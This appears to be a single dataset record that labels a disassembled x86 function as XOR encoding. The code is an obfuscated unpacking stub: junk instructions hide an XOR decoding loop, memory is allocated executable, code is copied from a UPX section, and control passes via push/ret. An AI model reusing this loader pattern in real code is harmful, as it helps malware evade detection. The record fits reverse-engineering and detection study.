Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0xd14566f5
add ecx, 1
dec ecx
popal
mov ebx, 0x24fd99c
mov ecx, 0xe88587c0
add ebx, ebx
mov eax, 0
mov esi, ebx
sub edx, 0x26d5bc89
inc edi
mov ecx, esi
and edx, edi
and edx, edx
and edi, edi
mov ebx, ecx
or edx, edx
mov edi, edx
add edi, edx
inc eax
sub edi, edx
add edi, 0x56aed1c8
add edi, 0x878088d9
cmp eax, 0x10037fe
jne 0xa789cb
and edi, edx
add edx, edi
add edx, edx
add ecx, 0x27ff7e33
or ecx, ecx
mov esi, 0xa78796
mov ecx, 0xc243d8cd
and edx, ecx
mov eax, 0xa7898a
add edi, ecx
sub edx, 0xc8acc46
not edx
mov ebx, dword [esi]
and edi, edi
dec edx
or edx, edx
and ebx, 0xff
and edi, ecx
mov ecx, edi
xor dword [eax], ebx
mov edx, 0x733ce932
or edx, ecx
add eax, 1
sub edx, ecx
mov ecx, 0x6f85f37
inc edx
inc esi
or edx, edx
sub ecx, edx
mov ecx, 0xca927ec2
cmp eax, entry0
jl 0xa78a28
mov edx, edi
add edx, 0x8c43366a
add ecx, edx
mov edi, 0xbb41a2ec
mov edi, ecx
or edx, edx
and esi, edx
inc ecx
mov ebx, 0xa7898e
sub esi, edi
sub ecx, 0x570e8b69
not ecx
mov ebx, dword [ebx]
add edx, edi
add edx, edx
mov ebx, dword [ebx]
sub ecx, 0x93a18a6b
add ecx, edx
push ebx
or esi, edi
not esi
mov ebx, 0xa7898a
sub esi, edi
sub edx, esi
mov ebx, dword [ebx]
and ecx, edi
add edi, 0x7baccb9f
mov esi, ecx
mov ebx, dword [ebx]
dec ecx
mov ecx, 0xf0ed45b1
push 0xa78992
not esi
not ecx
call ebx
sub ecx, edx
and esi, esi
inc ecx
pop ebx
or esi, edx
or edi, ecx
push 0xa7899f
not esi
mov edx, 0x9c435bb7
push eax
mov esi, 0x9f706baa
sub edi, esi
call ebx
add ecx, edi
or edx, edi
push 0x40
add ecx, 0xe169d8fa
add edx, 1
push 0x3000
and esi, ecx
not edx
push 0x20000ab6
mov edi, 0x7365de14
dec esi
add ecx, 0x51973bda
push 0
add edx, edi
add esi, 0x149def96
sub esi, 0xddd4e9d1
call eax
sub edi, 0xf36ad2af
sub ecx, 0x46958644
mov ecx, 0xbab3bee9
add eax, 0x20000a36
inc esi
mov edi, 0x2ac03374
inc esi
mov ebx, 0x374c0f6e
sub edx, edi
sub edx, esi
sub esi, 0x552676e0
mov dword [eax], ebx
add edx, 0xe2e9980
sub edx, esi
not esi
mov ebx, dword [eax]
dec esi
dec edx
cmp ebx, 0x374c0f6e
je 0xa78b78
mov ebx, 0
mov cl, byte [ebx]
or esi, esi
mov edi, 0x61085225
sub ecx, 1
sub edi, edx
add ecx, 0x2cd8387a
sub esi, ecx
inc ebx
not ecx
mov eax, section.UPX1
add ecx, 0xb5c0bc0f
add ebx, ebx
mov esi, 0xa78795
inc ecx
mov ebx, ecx
add ecx, 0xb450f46b
mov edx, 0
inc ecx
add ebx, 0x2a86584a
add ecx, ecx
mov edi, 0xa78796
not ebx
not ebx
mov ebx, 0xdc7c09b3
lea edi, [edi + edx]
add ecx, ebx
or ecx, ebx
and ebx, ecx
mov edi, dword [edi]
not ebx
add ecx, ecx
sub ebx, 0xe8db665f
and edi, 0xff
dec ebx
mov ecx, 0x21ceed9
inc edx
mov ebx, ecx
sub ebx, ecx
sub ebx, ecx
cmp edx, 0x1f4
jne 0xa78bfe
mov edx, 0
add ebx, ecx
mov ebx, 0x5af210de
not ecx
mov ecx, 0xe7b52107
xor dword [eax], edi
inc ecx
add ebx, ecx
add eax, 2
and ebx, ecx
or ecx, ebx
cmp eax, esi
jl 0xa78bbb
add ecx, ecx
sub ecx, 1
and ecx, ebx
add ecx, ebx
mov ecx, 0xbf9aa531
sub ebx, 0x4d5bf829
mov eax, section.UPX1
sub ecx, 0x6ccb0c3
mov ecx, 0x70ee7b6c
dec ecx
mov edi, section.UPX1
or ecx, ecx
not ebx
mov esi, 0xa78795
sub ebx, ecx
add ecx, 0xf61990d2
mov ecx, 0xc5c67b83
mov edx, 0
inc ecx
sub ecx, ebx
mov dl, byte [edi]
or ebx, ecx
dec ebx
add ecx, ebx
mov byte [eax], dl
mov ecx, ebx
add ecx, ebx
sub ecx, 0xaba85d9f
inc eax
sub ecx, 0x73275bc5
sub ebx, ecx
or ecx, ecx
add edi, 2
add ecx, 0x1bb5922d
not ecx
cmp edi, esi
jle 0xa78c6e
sub ecx, ebx
add ecx, 0xcb018776
not ebx
add ebx, 0xe0b524a8
sub ecx, ebx
sub ebx, ecx
sub esp, 4
mov dword [esp], 0x8dc6a0
mov ecx, ebx
dec ecx
ret